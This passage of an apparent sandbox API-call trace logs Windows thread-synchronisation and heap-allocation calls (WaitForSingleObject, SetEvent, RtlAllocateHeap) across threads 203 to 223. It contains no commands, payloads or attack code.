0x0 [0084.022] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 203 os_tid = 0x1234 [0081.116] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.826] SetEvent (hEvent=0x344) returned 1 [0081.826] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.606] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.686] SetEvent (hEvent=0x344) returned 1 [0082.686] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.794] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.908] SetEvent (hEvent=0x344) returned 1 [0082.908] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.010] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.553] SetEvent (hEvent=0x344) returned 1 [0083.553] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.732] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.983] SetEvent (hEvent=0x344) returned 1 [0083.983] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.064] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 204 os_tid = 0x1238 [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.825] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.022] SetEvent (hEvent=0x344) returned 1 [0082.022] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.606] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.679] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.765] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.885] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.976] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.098] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.697] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.820] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.021] SetEvent (hEvent=0x344) returned 1 [0084.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.457] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 205 os_tid = 0x123c [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.836] SetEvent (hEvent=0x344) returned 1 [0081.836] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.607] SetEvent (hEvent=0x344) returned 1 [0082.607] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.684] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.790] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.906] SetEvent (hEvent=0x344) returned 1 [0082.906] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.993] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.112] SetEvent (hEvent=0x344) returned 1 [0083.112] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.836] SetEvent (hEvent=0x344) returned 1 [0083.836] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.047] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 206 os_tid = 0x1240 [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.834] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.606] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.685] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.797] SetEvent (hEvent=0x344) returned 1 [0082.797] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.907] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.013] SetEvent (hEvent=0x344) returned 1 [0083.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.552] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.733] SetEvent (hEvent=0x344) returned 1 [0083.733] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.983] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.064] SetEvent (hEvent=0x344) returned 1 [0084.064] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 207 os_tid = 0x1244 [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.937] SetEvent (hEvent=0x344) returned 1 [0081.937] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.041] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.629] SetEvent (hEvent=0x344) returned 1 [0082.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.706] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.835] SetEvent (hEvent=0x344) returned 1 [0082.835] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.931] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.552] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.729] SetEvent (hEvent=0x344) returned 1 [0083.729] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.865] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.059] SetEvent (hEvent=0x344) returned 1 [0084.059] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 208 os_tid = 0x1248 [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.934] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.044] SetEvent (hEvent=0x344) returned 1 [0082.044] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.707] SetEvent (hEvent=0x344) returned 1 [0082.707] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.834] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.931] SetEvent (hEvent=0x344) returned 1 [0082.931] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.014] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.552] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.727] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.865] SetEvent (hEvent=0x344) returned 1 [0083.865] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.057] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 209 os_tid = 0x124c [0081.117] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.931] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.034] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.628] SetEvent (hEvent=0x344) returned 1 [0082.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.705] SetEvent (hEvent=0x344) returned 1 [0082.705] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.809] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.924] SetEvent (hEvent=0x344) returned 1 [0082.924] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.640] SetEvent (hEvent=0x344) returned 1 [0083.640] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.756] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.982] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.060] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 210 os_tid = 0x1250 [0081.118] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.837] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.035] SetEvent (hEvent=0x344) returned 1 [0082.035] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.628] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.684] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.791] SetEvent (hEvent=0x344) returned 1 [0082.791] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.904] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.993] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.112] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.836] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.048] SetEvent (hEvent=0x344) returned 1 [0084.048] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 211 os_tid = 0x1254 [0081.118] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.968] SetEvent (hEvent=0x344) returned 1 [0081.968] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.046] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.637] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.706] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.807] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.907] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.008] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.551] SetEvent (hEvent=0x344) returned 1 [0083.551] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.725] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.850] SetEvent (hEvent=0x344) returned 1 [0083.850] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.049] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 212 os_tid = 0x1258 [0081.118] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.968] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.046] SetEvent (hEvent=0x344) returned 1 [0082.046] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.641] SetEvent (hEvent=0x344) returned 1 [0082.641] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.836] SetEvent (hEvent=0x344) returned 1 [0082.837] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.939] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.642] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.759] SetEvent (hEvent=0x344) returned 1 [0083.759] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.988] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.086] SetEvent (hEvent=0x344) returned 1 [0084.086] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 213 os_tid = 0x125c [0081.118] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.971] SetEvent (hEvent=0x344) returned 1 [0081.971] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.045] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.703] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.810] SetEvent (hEvent=0x344) returned 1 [0082.810] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.924] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.016] SetEvent (hEvent=0x344) returned 1 [0083.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.639] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.758] SetEvent (hEvent=0x344) returned 1 [0083.758] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.982] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.062] SetEvent (hEvent=0x344) returned 1 [0084.062] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 214 os_tid = 0x1260 [0081.119] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.969] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.045] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.637] SetEvent (hEvent=0x344) returned 1 [0082.637] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.705] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.808] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.906] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.008] SetEvent (hEvent=0x344) returned 1 [0083.008] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.550] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.726] SetEvent (hEvent=0x344) returned 1 [0083.726] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.849] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.049] SetEvent (hEvent=0x344) returned 1 [0084.049] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 215 os_tid = 0x1264 [0081.119] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.973] SetEvent (hEvent=0x344) returned 1 [0081.973] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.061] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.642] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.719] SetEvent (hEvent=0x344) returned 1 [0082.719] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.851] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.939] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.665] SetEvent (hEvent=0x344) returned 1 [0083.665] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.758] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.986] SetEvent (hEvent=0x344) returned 1 [0083.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.063] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 216 os_tid = 0x1268 [0081.119] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.973] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.061] SetEvent (hEvent=0x344) returned 1 [0082.061] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.655] SetEvent (hEvent=0x344) returned 1 [0082.655] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.727] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.857] SetEvent (hEvent=0x344) returned 1 [0082.857] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.955] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.080] SetEvent (hEvent=0x344) returned 1 [0083.081] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.668] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.805] SetEvent (hEvent=0x344) returned 1 [0083.805] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.440] SetEvent (hEvent=0x344) returned 1 [0084.440] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 217 os_tid = 0x126c [0081.120] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.972] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.058] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.639] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.718] SetEvent (hEvent=0x344) returned 1 [0082.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.836] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.940] SetEvent (hEvent=0x344) returned 1 [0082.940] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.642] SetEvent (hEvent=0x344) returned 1 [0083.642] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.759] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.989] SetEvent (hEvent=0x344) returned 1 [0083.989] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.086] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 218 os_tid = 0x1270 [0081.120] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.972] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.060] SetEvent (hEvent=0x344) returned 1 [0082.060] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.643] SetEvent (hEvent=0x344) returned 1 [0082.643] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.719] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.836] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.934] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.049] SetEvent (hEvent=0x344) returned 1 [0083.049] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.639] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.732] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.864] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.048] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 219 os_tid = 0x1274 [0081.653] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.986] SetEvent (hEvent=0x344) returned 1 [0081.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.060] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.643] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.719] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.835] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.937] SetEvent (hEvent=0x344) returned 1 [0082.937] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.048] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.639] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.731] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.865] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.048] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 220 os_tid = 0x1278 [0081.653] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.061] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.642] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.719] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.851] SetEvent (hEvent=0x344) returned 1 [0082.851] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.938] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.051] SetEvent (hEvent=0x344) returned 1 [0083.051] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.663] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.758] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.985] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.063] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 221 os_tid = 0x127c [0081.653] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.989] SetEvent (hEvent=0x344) returned 1 [0081.989] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.075] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.655] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.727] SetEvent (hEvent=0x344) returned 1 [0082.727] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.853] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.956] SetEvent (hEvent=0x344) returned 1 [0082.956] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.079] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.669] SetEvent (hEvent=0x344) returned 1 [0083.669] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.804] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.004] SetEvent (hEvent=0x344) returned 1 [0084.004] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.440] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 222 os_tid = 0x1280 [0081.653] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.987] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.077] SetEvent (hEvent=0x344) returned 1 [0082.077] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.656] SetEvent (hEvent=0x344) returned 1 [0082.656] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.740] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.881] SetEvent (hEvent=0x344) returned 1 [0082.881] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.974] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.097] SetEvent (hEvent=0x344) returned 1 [0083.097] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.694] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.818] SetEvent (hEvent=0x344) returned 1 [0083.818] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.101] SetEvent (hEvent=0x344) returned 1 [0084.101] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 223 os_tid = 0x1284 [0081.704] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.705] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.705] SetEvent (hEvent=0x33c) returned 1 [0081.705] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x1162e89dcc0 [0081.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x1163204d410 [0081.705] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d410, Size=0x2000) returned 0x1163204e420 [0081.708] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e420, Size=0x4000) returned 0x11632050430 [0081.709] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632050430, Size=0x8000) returned 0x11632054440 [0081.710] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x1163205c450 [0081.710] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x2000) returned 0x1163205c450 [0081.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x1162e88f6f0 [0081.710] SetEvent (hEvent=0x33c) returned 1 [0081.752] WaitForSingleObject (hHandle=0x338, 